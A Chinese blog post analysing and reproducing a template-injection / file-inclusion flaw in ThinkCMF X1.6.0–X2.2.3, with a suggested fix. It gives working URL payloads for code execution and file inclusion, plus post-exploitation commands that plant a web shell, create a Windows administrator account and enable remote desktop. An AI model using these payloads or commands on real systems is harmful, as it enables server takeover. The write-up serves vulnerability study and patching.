zoukankan      html  css  js  c++  java
  • ThinkCMF X1.6.0-X2.2.3框架任意内容包含漏洞分析复现

    ThinkCMF X1.6.0-X2.2.3框架任意内容包含漏洞分析复现

    一、ThinkCMF简介

    ThinkCMF是一款基于PHP+MYSQL开发的中文内容管理系统框架,底层采用ThinkPHP3.2.3构建。ThinkCMF提出灵活的应用机制,框架自身提供基础的管理功能,而开发者可以根据自身的需求以应用的形式进行扩展。

    每个应用都能独立的完成自己的任务,也可通过系统调用其他应用进行协同工作。在这种运行机制下,开发商场应用的用户无需关心开发SNS应用时如何工作的,但他们之间又可通过系统本身进行协调,大大的降低了开发成本和沟通成本。

    二、漏洞描述

    引起漏洞的最主要的问题是因为fetch函数和display函数是public类型。

    fetch函数的作用是获取页面内容,调用内置模板引擎fetch方法,thinkphp的模版引擎使用的是smarty,在smarty中当key和value可控时便可以形成模板注入。

    display函数的作用是加载模板和页面输出,所对应的参数为:templateFile模板文件地址,charset模板字符集,contentType输出类型,content输出内容。

    fetch和display的用法差不多,二者的区别就是display方法直接输出模板文件渲染后的内容,而fetch方法是返回模板文件渲染后的内容。

    三、漏洞影响版本

    ThinkCMF X1.6.0

    ThinkCMF X2.1.0

    ThinkCMF X2.2.0

    ThinkCMF X2.2.1

    ThinkCMF X2.2.2

    ThinkCMF X2.2.3

    四、漏洞环境搭建

    1、下载ThinkCMF2.2.2版本,下载地址: https://github.com/thinkcmf/cmfx

    2、解压之后直接放到phpstudy环境的web根目录下, 访问http://192.168.10.171/cmfx/

      

    3、输入数据库密码,设置用户名、密码、邮箱等完成安装设置,如下成功安装

      

    五、漏洞复现

    1、使用sublime text打开cmfx-X2.2.2文件夹,首先分析主页代码,发现看一下程序的项目路径在application目录下

      

    2、跟进application,发现IndexController.class.php(入口分组的控制器类)

      

    3、发现IndexController类中只有一个方法display方法,跟进父类HomebaseController文件

      

    4、根据ThinkPHP框架规则,可以通过gma参数指定分组模块方法,这里可以通过a参数直接调用PortalIndexController父类(HomebaseController)中的一些权限为public的方法。

    ThinkPHP框架规则参考: https://www.cnblogs.com/czx521/p/6536954.html

    5.1、分析发现display函数和fetch函数是权限为public, display函数的作用是加载模板和页面输出,所对应的参数为:templateFile模板文件地址,charset模板字符集,contentType输出类型,content输出内容。templateFile参数会经过parseTemplate函数处理。

      

    5.2、跟进parseTemplate函数, 判断模板是否存在,当模板不存在时会在当前目录下开始查找,这里配合一处上传形成文件包含。最终形成的payload :index.php?a=display&templateFile=xx.txt

    6、fetch函数的作用是获取页面内容,调用内置模板引擎fetch方法,thinkphp的模版引擎使用的是smarty,在smarty中当key和value可控时便可以形成模板注入。

    这里fetch函数的三个参数分别对应模板文件,输出内容,模板缓存前缀。利用时templateFile和prefix参数可以为空,在content参数传入待注入的php代码即可。

    7、第一种利用方法使用a参数的fetch方法,实现远程代码执行

    7.1、payload如下:

    ?a=fetch&templateFile=public/index&prefix=''&content=<php>file_put_contents('test.php','<?php phpinfo(); ?>')</php>

    执行payload,页面是空白的

      

    7.2、访问test.php

      

    7.3、上传一句话木马

      

    7.4、菜刀连接

      

    7.5、新建用户并添加到管理员组,开启远程桌面连接

    net user test test /add

    net localgroup administrators test /add

    REG ADD HKLMSYSTEMCurrentControlSetControlTerminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

      

    7.6、然后远程连接就行

      

    8、第二种方法, 通过构造a参数的display方法,实现任意文件包含

    Payload: ?a=display&templateFile=README.md

      

    六、漏洞修复

    可以通过漏洞成因看出来,引起漏洞最主要的原因就是fetch和display函数是public,可以在外面被访问,因此修复方案就是将 HomebaseController.class.php 和 AdminbaseController.class.php 类中 display 和 fetch 函数的修饰符改为 protected,使他们无法在外面被访问。

     

    ------------------------------------------------------------------------------------ 

    参考: https://xz.aliyun.com/t/6626

  • 相关阅读:
    羊车门悖论
    python--程序语言中的我行我素者
    最大流isap
    约瑟夫环问题
    CF 916 一言题解
    ZJOI2006 书架
    板子
    windows激活流程
    Ant Design 坑
    js+jQuery判断一个点是否在多边形中
  • 原文地址:https://www.cnblogs.com/yuzly/p/11797485.html
Copyright © 2011-2022 走看看